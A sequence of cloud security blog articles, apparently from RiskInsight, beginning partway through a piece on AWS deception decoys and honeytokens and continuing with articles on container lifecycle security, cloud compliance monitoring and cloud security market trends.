« The decoy is distinguished by a dedicated account, significantly increasing its power of attraction. By having access to the metadata of all the resources within their reach, the attacker can also verify various levels of privilege, which substantially enhances credibility. Thanks to the ability to visualize the dates and times of the last uses of resources in their field of vision, they can deduce that these resources are rarely used. With this in mind, a lambda function is implemented to automate the execution of various resources or their authentication, thus guaranteeing proof of recent use.  » 

• Risque (risk): 4/4 

« The authorization granted to the IAM-RO role only confers IAM privileges to the attacker in the context of a purely fictitious account. Thanks to appropriate configuration of the upstream SCP, any attempted actions by the Security-Audit role will also be thwarted. The only elements deliberately introduced in a real environment are the Semi-Admin and Lambda-Auto roles, which are subject to stringent policies preventing any assignment of rights or privileges in the event of attempted malicious use. These policies include read-only access (IAMReadOnlyAccess) and a restriction preventing any modification of account role authorizations, as defined by the SCP. » 

• Crédibilité  (credibility): 3/4 

« The credibility of the decoy may be called into question by the resources available to it and potential limitations, such as an Inline Policy that restricts permissions and possible actions. It’s important to take these factors into account, as they can create doubts in attackers and compromise the decoy’s effectiveness. It is therefore crucial to put in place measures that make the decoy as realistic and convincing as possible, ensuring that it has access to the relevant resources and authorizations to create a credible scenario. » 

• Scalabilité (scalability) : 3/4 

« Depending on the size of an infrastructure, it may be possible to implement fluid deployment and maintenance of components, thanks to the use of automated scripts empowered to perform operations on resources. However, careful monitoring of all resources is essential to consolidate security in the face of possible attacks, and to ensure rapid reaction to defend an extended perimeter.»  

In conclusion, implementing such a Deceptive Security scenario in the Cloud, offers an approach to improving its overall security. It helps restrict an attacker’s ability to explore and propagate across the network, by presenting deceptive paths, delaying their progress and enabling faster detection and response. Decoys, which resemble attractive targets, divert attackers’ attention and resources away from real assets, increasing the chances of early detection.  

In addition, alert mechanisms play a crucial role in providing rapid information on potential intrusions to security teams, enabling rapid incident response and limiting the impact of attacks.  

Combining these defence strategies strengthens the overall security posture of Cloud environments, improves their resilience in the face of constantly evolving cyber threats, and guarantees the integrity and confidentiality of sensitive data.   

By using these deceptive security measures, companies can strengthen their defence against cyberattacks. However, it is important to note that Deceptive Security does not replace existing standard cybersecurity solutions, and that protection against cyberattacks requires the use of complementary security techniques for optimal defense. 

ANNEX – AWS Services  

Definitions from source : AWS documentation → docs.aws.amazon.com. 

SCP – Service control policies : Service control policies are a type of policy that enable central control of authorizations. This ensures that broad guidelines are followed for all AWS accounts in the organization.  

EC2 – Elastic Compute Cloud : AWS EC2 allows you to rent servers (EC2 instances) to best meet your workload needs.  

STS – Security Token Service : AWS STS enables you to request temporary security credentials for AWS resources. This makes it possible to grant temporary access to resources via API calls, the AWS console or the AWS CLI (Console Line Interface).  

Please note: Each STS token has a lifecycle, defined when it is created, of between 15 minutes and 36 hours.  

CloudTrail : AWS CloudTrail is a service that records the actions performed by an AWS user, role or service. 

Fonction Lambda : The Lambda function is a service for executing code. 

SNS – Simple Notification Service : Amazon SNS is a web service for managing the sending of messages (SMS, e-mail, HTTP.S, etc.). 

Thanks to Charles BULABULA  for his contribution to this article. 

Cet article Deceptive Security: the solution for effective detection in the cloud? – Deceptive use example in AWS cloud  est apparu en premier sur RiskInsight.

Today, cyber-attacks are part of our daily lives, and are becoming increasingly numerous and sophisticated.  

Simultaneously, we are moving towards Information Systems built on an ever-increasing diversity of environments, thanks in particular to the Cloud, which is now an integral part within corporate Information Systems. This enables corporation to expand their capabilities, however it also the surface area and risks of attack.  

Conventional intrusion detection and protection techniques already exist and are developing exponentially. These are effective against the most common attacks, however are not always adapted to the specificities of the Cloud.  

This raises questions about the use of proactive strategies, such as Deceptive Security, to stay one step ahead of attackers. Particularly in the context of Cyber-Resilience: how can this kind of technology be used in both a traditional and a cloud environment?  

When should Deceptive Security techniques be used? Are Deceptive Security solutions in the Cloud being developed today? Are there any specific strategies to consider in a Cloud environment as opposed to a traditional one? 

We will answer these questions in a mini-series of 2 articles. In the first article, we will show you how to develop and evaluate your decoy strategy. In the second article, we’ll present a practical example of deceptive security in AWS. 

Develop and evaluate your deceptive strategy  

Ambitions of Deceptive Security 

Deceptive Security in a nutshell 

“Deceptive Security” (referred to as “Deceptive” in the rest of this article), or “digital decoying“, is a cyber-defense technique that deals with the intrusion of attackers into an IS (Information System). It works by setting up traps and/or decoys in an IS. These are designed to imitate legitimate technology, so as not to be identified as security systems/measures.  

This method makes it possible to detect intrusions by generating alerts, to prevent damage to the actual infrastructure and to observe the practices used by the attacker.  

Before delving into the details of this subject, we recommend reading the article “Deceptive Security : comment arroser l’arroseur ? “, which describes the main concepts of “Deceptive Security“.  

The main objectives of Deceptive 

The use of Deceptive on an IS can have several objectives:  

•  Detect an intrusion  
•  Distract the attacker  
•  Analyze the techniques used in the attack 

This technology can be used at different levels of maturity, depending on the needs identified.   

The technology can be used to meet many of the needs mentioned above, but the key is to determine our requirements for this technology in advance. If we restrict the needs for detection, it should be noted that the configuration, deployment and maintenance of Deceptive will be far less complex than if we push the possibilities of this technology to the maximum (e.g. setting up complex scenarios to lure the attacker and strategic analysis of his actions).

The benefits of Deceptive 

Why Deceptive ? 

As discussed in the introduction, today’s cybersecurity challenges are fueled by the need to detect and react to growing attacks.  

Deceptive does not replace existing standard cybersecurity solutions. Being a more complex tool, it acts as a complement to cover all types of attack, including the most sophisticated.  

This technology is not designed to prevent an attack, but to alert security teams, minimize the effects of the attack and observe the intruder’s modus operandi (“Detect, Distract & Analyze”). 

Honeypot VS Honeytoken 

Presentation of concepts 

Depending on the needs and how they are to be used, different types of decoys exist. Whatever the case, they take on the appearance of attributes that make up our Information System.  

The best-known decoys are “honeypots”. These are servers or workstations that imitate real machines on the network. There’s also what’s known as a “honeynet”: a network of servers.   

Another type of decoy is of growing in popularity. This is a decoy that hides directly on a system. These are generally represented by documents or other files whose role is to trigger an alert when someone comes to interact with them. Finally, we have “honeytokens”, which are data, information, often secrets or keys used to access a dummy resource on the IS (a honeypot, for example). 

A fundamental difference 

Traditionally, honeypots enable the observation and understanding of an attacker’s actions, as well as detecting an intrusion. The difficulty in this case is to configure a decoy that is attractive and credible enough for the attacker to fall into the trap, without delivering information that could compromise a component of our real infrastructure.  

However, honeytokens can be more complex and enable the creation of a finer and more credible decoy. Without honeytokens, the probability of trapping an attacker is lower, and analysis results are not always reliable. The honeytoken’s dependence on its environment makes it more attractive in comparison to a honeypot, which represents no more than a trap with no possibility of subsequent escalation. For honeypots to be effective, we recommend deploying one or more complete honeynets, however it is important to consider the cost of such an infrastructure.  

Cloud technology development 

Today, the challenge for the most mature Deceptive solution vendors is to develop specific services in the Cloud.  

Indeed, companies are increasingly using the Cloud to extend their storage, deploy virtual machines, containers and so on. This provision of services is very popular and effective, but at the same time, the interest of cyber-attackers is growing. Templates, or default configurations, make life easier for businesses, but can increase cybersecurity risks. Even though many Cloud providers are making great strides in this area, default configurations don’t always comply with IT security guidelines.  

The Cloud is therefore a new playground for cyber-attackers. That’s why we’re focusing today on adapting our knowledge of Deceptive to protect Cloud environments and services too.  

Overview of the main publishers on the market 

It’s important to note that Deceptive is not reserved for overly complex applications. There are all kinds of offers on the market. Some companies offer services that enable you to obtain a complete off-the-shelf tool, while others focus on customization, lure quality and therefore the possibility of using their tool to create your own lures (configuration and maintenance not managed by the solution itself).  

Here’s an overview of the main publishers and their solutions:   

For some, the current trend is to join forces with other tools or integrate their solution with an EDR (Endpoint Detection and Response) to increase the effectiveness of the technology and meet market needs.  

As mentioned above, the challenge that some have chosen to tackle is to adapt to a Cloud environment. For example, solutions such as “Attivo Networks”, acquired by SentinelOne, are developing Cloud AWS offers that propose the creation of decoys linked to the service (e.g.: EC2, S3, AWS access keys, etc.).  

How to build and place decoys? 

Deceptive strategies 

Once you’ve familiarized yourself with this technology and all the possibilities it offers, it is worth asking yourself the question, what strategy or strategies you should adopt with regard to the number of traps and/or decoys to be implemented, and where they should be placed in the IS.  

To adapt to different use cases, 3 strategies stand out, responding to distinct needs: 

Indeed, the Deceptive strategy to be adopted is often tailor-made according to the IS infrastructure and, above all, according to the priorities and objectives defined beforehand.  

By way of example: if you need to enrich your detection technologies within your IS, it may be worthwhile to study the strategy of “mass deployment” of decoys. The aim is to create a phantom IS, thereby increasing the likelihood of the cybercriminal falling into a trap that will trigger an alert to the security teams.  

PARCS matrix 

The challenge when talking about Deceptive, and more specifically about lures, is to answer the questions: What is a good lure? How do you create a good lure? Where to place it? How many to place? etc.  

The article “ HoneyWISE : stratégie d’exploitation d’honeytokens en environnement Active Directory ”, written by Augustin TOURNYOL-DU-CLOS and Nathan FAEDDA, proposes a decoy strategy against certain attacks in a specific context: AD (Active Directory). We’ll also look at honeytokens in comparison with honeypots in the rest of this article.  

The objective of this study was to simply test the implementation of decoys within the AD and to measure their effectiveness using the “PARCS” matrix.  

PARCS was born on the basis of 5 criteria, originally conceived in the context of an AD environment but applicable to all environments:  

When designing a decoy, it’s a good idea to prepare a PARCS to check your thinking and ensure that it matches your expectations. It is also important to take into consideration minimum requirements illustrated by these 5 criteria: Relevance, Risk, Credibility, Attractiveness and Scalability.  

The objective of this matrix is to determine a balance between importance and priority based on these criteria’s (Is the lure’s attractiveness important in my use case? Do I need a scalable solution? How scalable? etc.).  

Example of PARCS use: Kerberoasting scenario “Stealing or falsifying Kerberos tickets” 

Perhaps the best way to illustrate the PARCS matrix presentation is with an example from the “ HoneyWISE ” article.  

The AD attack called Kerberoasting is, “[…] in synthesis, the offline brute force (no logon failure) of a Kerberos ticket receiving the secret of a service account, without having to send a single packet to this service or even being the local administrator of the compromised workstation”.  

“Kerberoasting […] hijacks the native operation of Kerberos in order to carry out an attack. This hijacking takes place on steps 3 and 4 of the Kerberos authentication process, as shown in the following diagram”: 

For this attack case, Augustin TOURNYOL-DU-CLOS and Nathan FAEDDA propose in their article to deploy a honeytoken against Kerberoasting (see part 2.3 “Description of detection scenarios” – scenario 2).  

Here is the result, through PARCS, of the study of this type of honeytoken in the context of a Kerberoasting scenario (16/20): 

• Pertinence (efficiency): 4/4 
  • «  The alerts generated by this honeytoken are reliable. In fact, as soon as a TGS ticket is requested to access an unused and non-existent service, it becomes clear that a malicious action is underway. » 
• Attractivité (attractiveness): 3/4 
  • «  The attractiveness of this token lies in the fact that carrying out the attack does not require any privileges, and can potentially gain privileges while being silent (generation of traffic deemed legitimate). Provided that the account chosen to lure the attacker appears privileged and managed by a user (so that the password is likely to be simple), this honeytoken is highly attractive. » 
• Risque (risk): 4/4 
  • « In our example, a 64-character password has been defined, which cannot be broken in a reasonable time. » 
• Crédibilité (credibility): 3/4 
  • «  Subject to the choice of account name and attributes according to the production context in which it is deployed, since the attack is based on normal Kerberos operation, it should come as no surprise that it can be carried out. Credibility is therefore high. » 
• Scalabilité (scalability): 2/4 
  • «  The decoy account can be deployed automatically on several domains using scripts. However, for an effective lure, contextualization remains essential and will be the major obstacle to effective mass deployment. The cost of providing this contextualization and keeping it up to date must therefore be taken into account.  » 

To conclude, Deceptive Security solutions must be considered on a case-by-case basis. It is imperative to determine in advance the objectives to be prioritized, the strategy to be adopted, the scope to be covered, and so on.  

In certain situations, especially for companies with mature IT security systems, it may be appropriate to implement Deceptive Security solutions. This is to be applied in addition to standard minimum security tools such as firewalls, antivirus, intrusion detection and/or prevention systems, etc. The aim is to cover all types of cyberattack (“0-day” type, with no known pattern).   

This technology can be difficult to implement for smaller companies, as they may not have the essential security tools in place by default, nor the resources to configure (e.g., design decoys, create strategies and scenarios) and maintain such a solution (e.g., dedicated maintenance teams).  

Today, the market is expanding, mainly around detection thanks to Deceptive, but not exclusively. For the time being, however, vendors’ interest in building deceptive solutions is focused on traditional environments. Solutions for Cloud AWS, Azure, etc., are still underdeveloped. 

Thanks to Augustin TOURNYOL DU CLOS for his contribution to this article.

Cet article Deceptive Security: the solution for effective detection in the cloud? – your luring strategy.  est apparu en premier sur RiskInsight.

In 2019, 84% of production infrastructures were already using containers[1]. As it is often the case, this massive adoption has taken place without the integration of Cybersecurity teams, sometimes out of ignorance of the technology, and sometimes out of a vision of simplicity and efficiency for development teams. 

The need to secure containers is greater than ever, and it’s time for Cyber teams to understand the technology and define the right security measures. 

We’ll start with a comparison between containers and virtual machines, then look back at the reasons for the emergence of containers. We’ll then look at how to secure them throughout their lifecycle, step by step. 

Virtual machine, container: what’s the difference? 

But why choose a container? To understand this, we first need to look at the difference between a virtual machine and a container. 

The main difference between a VM (Virtual Machine) and a container lies in the elements included in the virtualized space. A container contains only the applications and dependencies required to run it, whereas a VM will contain an operating system on which one or more applications will be installed. As a container has no operating system of its own, it relies on the one of the hosts on which it runs on. This distinction makes for greater lightness and complexity. 

So why use containers at all?  

Containers were not developed to enhance security, but rather for infrastructure purposes. The main advantages are: 

– Consistency: containers can be launched on any machine and will operate in the same way. 

– Economy: containers are faster and require fewer resources than VMs, so they cost less. 

– Automation: it’s much easier to automate the deployment of a container than the creation of a virtual machine (Cloud technologies have come a long way in this respect). 

These three advantages, combined with the popularization of the DevOps approach within companies, have led to an explosion in the use of containers. Without being side-lined, security has not been an objective in the design of containers. As a result, good security practices have been put in place as the technology has been developed and used. 

Execution models 

 The advantages of containers are linked to a specific mode of operation based on very specific execution kinematics. Let’s take a look at container execution models. 

A container can be run on an on-premise or cloud-hosted machine. As explained above, a container contains only an application and its dependencies. It has no operating system, and thus relies on the host’s functionality. Consequently, a container requiring Linux functionality will need to run on a machine with a Linux operating system. Conversely, a container requiring Windows functionality will run on a Windows machine. However, virtualisation processes, such as Hyper-V for Windows, make it possible to overcome these constraints. 

To run a container on a machine, you simply need to install container management software (a container runtime). Among container platforms, Docker, lxd and Containerd are the most widely used. 

 This makes it easy to run a single container on a machine. However, companies often have a large number of applications. The problem then arises of managing and scaling the containers to be deployed.  

This is where container orchestrators come in. An orchestrator makes it easy to manage the deployment, monitoring, lifecycle, scaling and networking of containers. These orchestrators can be configured on on-premise machines or through services made available by Cloud providers. In the latter case, they are easy to set up and configure, as they are managed by the Cloud provider. The most widely used orchestrator technology in companies is Kubernetes. There are also a number of products based on it, such as OpenShift. Other alternatives, such as Docker Swarn, also enable orchestration.  

 In some cases, there may be a need to manage and scale containers, all without managing the infrastructure. For this purpose, Cloud providers have made available services that enable containers to be run in a managed way. All the user has to do is specify a few configuration points. This type of service is called CaaS (Container as a Service). 

The following infographic summarizes the execution models and the names of the technologies or services:  

This wide variety of deployment modes means that the container can be adapted to suit business needs. It’s important to remember that the security of a container at runtime also depends on the security of its infrastructure. 

Focus on the Kubernetes orchestrator  

As previously stated, Kubernetes and products based on this technology for orchestration are the most widespread. Kubernetes will be used to illustrate how an orchestrator works. To put it simply, let’s take the analogy of a container port. 

Let’s start with the worker nodes. These will be our container ships. Their role is to carry the load, i.e., to execute the orchestrator’s containers. 

Kubernetes then introduces the concept of pods. A pod will be the containers on the ships. A pod is generally made up of a single container. It is this component that runs the application to be deployed. 

Next, we have the control plane, made up of master nodes. These are represented by the cranes that dispatch the containers from one boat to another, according to the load each boat can accommodate. In Kubernetes technical terms, the master node will decide on which worker node(s) to execute pods. The master node is the cluster’s central point. It contains all the cluster’s intelligence. It’s also with this node that we interact to administer the cluster, and it’s with this node that the worker nodes interact to know what actions to perform according to the pods they’re executing (create new ones, destroy them…). 

Finally, there’s a load balancer, represented in this analogy by the trucks carrying the containers. The load balancer distributes the load of incoming flows between pods. For example, if three pods are hosting the same application, the load balancer will distribute requests between the 3 pods, so as not to overload any one of them. The load balancer is the interface between the cluster and the outside world, just as trucks are the link to the outside of the port. 

Here is a more traditional technical diagram showing the various components: 

The following resource from the Kubernetes documentation describes the set of components.[2]

How can we secure containers at every stage of their lifecycle? 

Now that we’ve covered the basics, let’s take a look at how to secure it all. Security must be applied to every stage of a container’s lifecycle. Indeed, each stage presents its own challenges and associated security impacts.   

The image is first built 

The first step in the container lifecycle is to choose a base image. A container image is a set of lightweight software and files that includes everything needed to run an application: code, runtime, system tools, system libraries and parameters. In most cases, this image is retrieved from the Internet. There is therefore a risk of using an image from an unknown source that has already been compromised (with a backdoor, for example).  

So, in this first stage, it’s vital to choose the source of your image carefully, to ensure that you take a “trusted image”. This can be achieved by using reference sources such as Docker Hub, or by creating your own image catalogue. In the latter case, the images are verified and validated upstream by the company’s security teams and are known as “golden images”. 

The second step is to install an application on the image. There is therefore a classic risk of a vulnerability in the application code. Vulnerability scans, developer awareness and adherence to good development practices are essential here to prevent a vulnerability from creeping into the application code.  

The third step is image configuration. These are default configurations applied when containers are deployed. For example, a container is run with the root (or system administrator) account by default: leaving this configuration unchanged represents a risk should the container be compromised. Furthermore, setting the container’s file system to read-only also limits the impact of a compromise. Indeed, with these two configurations, an attacker will have less free rein for his actions. 

The image is then stored in a container repository 

Once the image has been built, it needs to be stored so that it can be accessed and deployed as many times as required. To do this, we use a container repository, which also needs to be secured. Indeed, if an attacker pushes a corrupted image into the container repository, it can be deployed in production. 

Several security measures can be implemented to secure the container repository: 

• Restrict user or resource rights and permissions on the repository to reduce risk: only people or resources who need to “push” or “pull” an image from the repository should be entitled to do so.  
• Restrict network exposure.  
• Scan images before they are deposited, at the time of push. This action limits the presence of compromised images on the container repository. 
• Sign pushed images to ensure their integrity.  
• Keep a record of actions carried out on the container repository. 

This is followed by the image deployment phase 

Once the image has been built and stored, it needs to be deployed to make it accessible.  

When a container is deployed, configurations are determined according to use cases. Some configurations reduce the existing logical isolation between containers and the host. For example, you can authorize a container to list the host’s processes or share the same network card. Privileged configuration can even break down these isolation barriers, giving containers access to all host functions. These configurations, some of which are dangerous, can lead to container escapes: i.e., an attacker on a container can use these privileges to escape to the operating system. Once on the operating system, an attacker can obtain information from host files or initiate lateral moves. In other words, it’s one step further into the information system. 

In terms of deployment recommendations, the first step is to restrict container repositories to a known and trusted list. Subsequently, configurations such as AppArmor, Seccomp or the deactivation of Linux capabilities can be used to restrict system calls and resources used by containers. Finally, the container file system should be configured as read-only, and the principle of least privilege applied to configurations passed to containers. In other words, it’s necessary to limit the use of privileged configuration or the breaking of certain isolations (process, network, etc.). 

Finally, the container is executed 

When it comes to execution, we’re going to focus on the methods favoured by enterprises. That is, orchestrators, often with Kubernetes, or container hosting services in the cloud, known as CaaS.  

In the case of Kubernetes orchestration, the first objective will be to verify the conformity of container deployments, in order to avoid the deployment of privileged dangerous containers. These may be the result of an attack or simply administrative errors. Depending on the platform, this may involve PodSecurityAdmission, SecurityContextConstraint or external tools such as OPA Gatekeeper.  

It is also recommended to restrict network flows within the cluster, between containers, and out of the cluster to restrict lateral movements. This restriction can be applied with NetworkPolicy or again with external micro-segmentation tools. Finally, it will be necessary to have fine-grained role and user management, and to apply sufficient hardening to the virtual machines serving as nodes. 

In the case of CaaS, the infrastructure is managed by the cloud provider. As a user, hardening can only be achieved by enabling or disabling certain options. An analysis of each solution will be necessary to define precise recommendations, as Azure, Google Cloud Platform and Amazon Web Services all offer different options. 

Eventually, monitor all stages 

Container monitoring is important for debugging purposes and for recovering evidence in the event of an incident. Unfortunately, unlike a virtual machine, a container is ephemeral. So are its logs… So how do you go about it? 

Monitoring can be carried out at three levels: 

• At container level, by outsourcing logs (to combat the ephemeral nature of containers and their logs) 
• at container workload level 
• Infrastructure level (cluster nodes, for example) 

This collected logging can be managed by dedicated SOC Cloud teams or centralized in the company’s SIEM. Detection scenarios can then be created to detect IAM modifications, abnormal resource consumption and so on. 

It’s worth mentioning that CaaS solutions and Kubernetes managed by a Cloud provider (AKS, EKS, GKE, …) make it easy to centralize and externalize these logs. 

This section covered the best practices to be followed and the risks associated with each stage in a container’s life cycle. The diagram below provides a summary: 

CWPP, the solution to our problems? 

CWPP, Cloud Workload Protection Platform, is a new tool we’re hearing a lot about at the moment. But what does it do? 

A CWPP is a tool for monitoring and detecting threats to workloads, i.e., all services running in the cloud, and in particular containers. It helps to ensure security throughout the lifecycle described above. It is particularly useful for detecting secrets and vulnerabilities in application libraries, reviewing repository access, checking configurations, and managing monitoring (log collection, detection, and remediation). 

Like all tools, CWPP is not magic. It will need to be deployed with or without an agent, depending on the scenarios you wish to cover. But beyond the technical aspect of deployment, it will be necessary to integrate it into the company’s processes, so that all players have a tool enabling them to optimize security. We must therefore not underestimate the work involved in defining strategy, new processes, and support for change, as well as the integration of the tool with the tools used by developers. For example, a developer will want to be informed that they need to remediate a container on their incident management tool (JIRA, issue in the project Git…) and be able to test their new container from their machine before even pushing it into the container repository.  

The functionalities of a CWPP are often already partially or fully covered by existing tools, and its implementation can help centralize vision and sometimes optimize licensing costs. 

Key elements of container security 

As you can see from this article, containers were born for infrastructure needs. Their lightness and flexibility make them a perfect asset for today’s application needs. The implementation of containers mean that new attack surfaces need to be protected, and that container security needs to be taken into account.  

Unfortunately, there is no single tool or best practice to follow. In fact, as the article illustrates, it’s a combination of elements that make it possible to secure these application boxes. Among the best practices to be observed, the following 5 points are the key elements to remember: 

1. Control images: by using a hardened trusted image, securing source code, and performing vulnerability scans. 

1. Secure container isolation: by avoiding dangerous configurations when deploying containers and by hardening images. 

1. Ensure network segmentation: by restricting the cluster’s external exposure, flows within the cluster and out of the cluster. 

1. Monitoring and detection: by retrieving logs at 3 different levels and setting up detection scenarios 

1. Secure IAM access: by applying fine-grained IAM management on the cluster or on the Cloud provider. This management can be accompanied by periodic reviews. 

[1] https://www.lemondeinformatique.fr/actualites/lire-l-usage-des-containers-en-production-bondit-a-84-78347.html

[2] https://kubernetes.io/docs/concepts/overview/components/

Cet article Safe sailing: step-by-step container security  est apparu en premier sur RiskInsight.

Misconfigurations in cloud environments are still a source of major incidents and will keep on reoccurring endlessly. With the news continuously providing new examples:  leakage of 1 billion citizens’ data linked to a key leak, phishing campaign using a Kaspersky AWS key, misconfiguration of a NoSQL database, 3TB of sensitive airport data…

The objective of this article is to illustrate how to anticipate a scenario by implementing a Control Tower, or a tool for continuous supervision of the configuration of Cloud resources.

To begin with, a little theory about logs

Cloud logs can be divided into 3 categories:

• System logs: They are generated by the OS and applications hosted in IaaS/CaaS mode. The stakes are not different from a classic on premise IS, but only the architecture of logs collection can be adapted.

• Security infrastructure admin logs: Includes the logs of the security appliances, but also of the PaaS security services used by the customer and the logs of the network flows. For the appliances, there are no new changes here either, it is the same component already in use and well known. However, for security PaaS services and network logs, it is necessary to implement a specific integration and adapt the detection scenarios.
• Cloud Infra API logs: During each API call to create, modify or delete a resource, the Cloud Service Provider will generate a log.

These logs are accessible in dedicated managed services such as AWS CloudTrail, AWS config or Azure activity log:

The time taken to make the logs available will depend on the SLA of the CSP, but they are generally available within 15 minutes after the operation has been carried out.

Exploiting these logs will enable you to move from a manual and static compliance to an automatic and continuous compliance:

What are the technical options for building a Control Tower?

There are three main options for a customer to implement a control tower:

• Native (built-in)
• Custom native
• Cloud Security Posture Management (CSPM)

Native (built-in)

In the first case, the tools activated by the Cloud Service Provider are default, sometimes free of charge, using predefined alerts to assess the compliance of your environments and deliver using a security score.

For example, Trusted Advisor on AWS or Microsoft Defender for Cloud on Azure.           

These native and non-customized solutions make it possible to initiate a control tower, but they are limited as they are a generic response to specific problems.

Custom native

Cloud providers provide many services that allow customers to build a compliance tool for their infrastructure. The CSP tools available are customised to create specific compliance alerts and custom dashboards/KPIs.

In this option, it is necessary to allocate 10-to-40-man days to the project, in order to implement the monitoring infrastructure, define the first alerts and build the dashboards.

The use of several tenants, organizations or Clouds will require a specific architecture to be defined as there is no turnkey solution.

CSPM : Cloud Security Posture Management

Wavestone sees a booming market within CSPM where, Marketsandmarkets estimates that the CSPM market will more than double between 2022 and 2027 from $4.2 billion to $8.6 billion.

CSPMs natively support numerous Cloud providers and provide their customers with numerous dashboards based on the major market repositories. Customers can also easily define their own standards, policies and alerts.

The deployment of this type of tool is very simple, within few days it can be accessible to the customer.

The recurring costs may however be significant: typically 3 – 5% of the Cloud bill in addition to the Cloud services to be activated (similar to the native and custom services option).

Detection speed will also be slightly slower as the CSPM SLA adds to the CSP log generation SLA, typically 20 minutes – 1 hour detection time.

What should my Control Tower monitor?

The major problem customers face when implementing a CSPM with proposed alert activation, is the generation of tens or even hundreds of thousands of high criticality alerts to process. Teams don’t know where to start and are often feel discouraged. Care must be taken not to overload the security teams!

For the implementation of a control tower on a production Cloud IS, we recommend deploying security controls in waves of 10 – 15 at a time. To do this, you need to prioritise the most important topics. Below is an example of prioritisation:

Unfortunately, every rule has its exceptions! Mainly linked to the existing Cloud, specific architectures or technical constraints, it is therefore essential to foresee this situation and the associated governance at the design stage:

• Validation: by the local CISO and/or the global CISO
• Expiration
• Review: decentralised (locally or during annual global audits) or centralised (through continuous global monitoring)

Using tags for cloud resources is currently, the easiest way to do this, however, be aware that some resources may not be compatible such as IAM services.

No matter which model is chosen, the issues to be addressed remain mainly the same:

• Ensuring the legitimate use and application of exceptions
• Define specific indicators on exceptions for subjects at risk from Top Management
• Set up regular exception monitoring campaigns
• Alerting and dealing with when an exception expires

How to implement an effective remediation process?

The implementation of a control tower will generate numerous alerts, which will have to be corrected. The three options possible are listed below: 

Deny

Why remediate when you can simply block non-compliant resources preventively?

With Azure Policy or AWS SCP, it is natively possible to block certain configurations and thus avoid generating new alerts.

For use cases that are not covered, it is possible to set up checks on deployment templates in the CI/CD chains (this nevertheless requires a high level of maturity).

Deploying a deny mechanism on existing environments is rarely implemented as the risk of generating dissatisfaction among development teams is too high:

• Existing non-compliant resources can no longer be modified
• It will generate an additional burden on the development teams because habits must be changed
• …

Automatic remediation

Here, the aim is to correct deviant configurations directly and automatically but beware of side effects!

To do this, it is possible to use the cloud provider’s native services (Azure policy or AWS SSM Manager) or to develop functions for unsupported cases (AWS Lambda, Azure Function or Azure LogicApps).

Manual

Unfortunately, this is the most common solution, but also the most expensive in terms of human resources. Deviating configurations are remediated manually by the teams.

To guarantee the success of a manual remediation, it is necessary to have strong support from top management to ensure the adhesion and motivation of the teams.

The implementation of a Cloud OWSAP type dashboard highlighting the priorities of the moment is a good solution, allowing each person to take responsibility for their area. Each of the subjects mentioned opposite can have one or more indicators.

However, having the support of management is not sufficient, it is necessary to know the person responsible for the resource in order to ask  them to make the changes. In a large international group this is not easy. Our recommendation is to appoint at least one security officer per account/subscription who should have detailed knowledge of the applications and the people responsible for the resources.

In parallel, it is necessary to implement an effective training and awareness programme. In order to minimise the number of alerts and avoid filling the bathtub faster than it empties, the development teams must be fully aware of the security requirements in the cloud.

To begin the remediation process, our advice is to start centrally with an ample sized team in charge of implementing the control tower, but also in charge of mobilising and training local relays, enabling local teams to monitor and manage compliance on their own.

Compliance alert or security alert?

Most companies consider that monitoring the compliance of their cloud resources is not a responsibility of the SOC teams. But the boundary is not so easy to define, especially given the number of security incidents in the cloud that stem from configuration errors: public exposure of a storage resource containing critical data, unconfigured MFA on an admin account, or RDP or SSH exposed on the internet.

Generating a security alert to the SOC will leverage existing processes and tools for 24/7 handling even if the SOC resources are not cloud experts.

And finally, this will be a good opportunity to bring Cloud security and SOC teams together to improve security supervision by adapting it to the reality of the cloud.

Cet article Compliance in the Cloud, a new Paradigm est apparu en premier sur RiskInsight.

First of all, it is important to know that cloud security is particularly different depending on the type of cloud and the way cloud services are consumed. Among these services, there are three main categories: SaaS (Software as a Service), PaaS (Platform as a Service) and IaaS (Infrastructure as a Service).

Overall, cloud security is quite distinct between the PaaS / IaaS part and the SaaS part. This is materialized by the principle of the shared responsibility model. When consuming a cloud service, the customer will have access to a certain perimeter with a certain number of data layers or infrastructure depending on the category of cloud service.

This model makes it possible to determine on which perimeter of the service the responsibility of the cloud provider or that of the customer is engaged. The security part will also be shared on the layers of data on which the customer will have the responsibility, it thus requires the customer to ensure the security of its perimeter.

In the context of SaaS, to give an example, Microsoft Office 365 is a service where the customer integrates his data and does not have access to all the lower layers of the service. The customer has little access to the configuration of the service and therefore on the security, they can contractually require a level of security from the provider who will have control over the configuration of the service.

On the contrary, on PaaS or IaaS solutions, the customer will have access to the lower layers and will therefore be responsible for configuring them to ensure their security if they are not managed by the service provider. The customer can still require certain elements but the customer will be responsible for a significant part of the configuration and secure use of the cloud service.

The security of the cloud raises a particularly contractual issue since it is not the customer’s service itself but that of a third party. This raises security issues, and in particular the question of what the customer can demand of its supplier in terms of data security. These requirements are likely to change depending on the nationality of the supplier.

This security issue also leads to organizational changes. The consumption of cloud services must involve rethinking the organization of the IT department and the way it operates in the broadest sense, with security included in the new processes. In this agile approach, security must also be included with DevSecOps-type practices.

What are the market trends?

Just a few years ago, customers were reluctant to move towards cloud solutions, but today, the subject has gained consensus and is becoming more and more important. One of the major factors in its development is the Office 365 solution from Microsoft Azure.

The market trend on the customer side is to launch large cloud migration programs in order to be supported in this process, especially if they have to use single or multiple providers. The topic of multi-sourcing is particularly important at the moment. Customers are also asking how to organize their IT departments to adopt agile and DevOps principles to achieve their transformation in an intelligent way. The goal, is not to “lift and shift” an existing on-premise application without making any changes or redesigns by integrating it directly into the cloud.

Customers are realizing that managing their information systems involves very high costs and that this does not correspond to their core business. The cloud offer allows companies with this expertise, the service providers, to carry out the migration of these cloud platforms. This allows the customer to focus on their business processes and reduce the time to market, the time it takes to realize an initial idea and deliver a finished product to consumers.

In terms of security, a trend for large programs is to accompany cloud migrations in a secure manner. This involves several elements:

• Support in contracting with the cloud provider regarding the shared responsibility model and what the customer can or cannot migrate;
• On the organization of the IT department to become DevSecOps, an approach that allows the integration of security in the entire life cycle of projects, from development to implementation, using flexible methods and the DevOps approach ;
• For more advanced customers who have already started a migration and who already have a multicloud, the objective is to accompany them in the harmonization of these different cloud platforms, in particular security.

The trend among cloud security vendors is to offer multi-cloud solutions, but at the same time to compartmentalize the different types of cloud (IaaS, PaaS, SaaS) in order to offer specialized tools. The latest trend in the market is the so-called CSPM (Cloud Security Posture Management) tools, which enable compliance checks to be carried out on multi-cloud platforms. In terms of encryption, which is a sensitive issue for our customers, the dynamics of multicloud support are based on service offers such as HSMaaS or KMSaaS. These enable the provisioning of keys belonging to the customer – of the BYOK type – that can be used from one cloud to another.

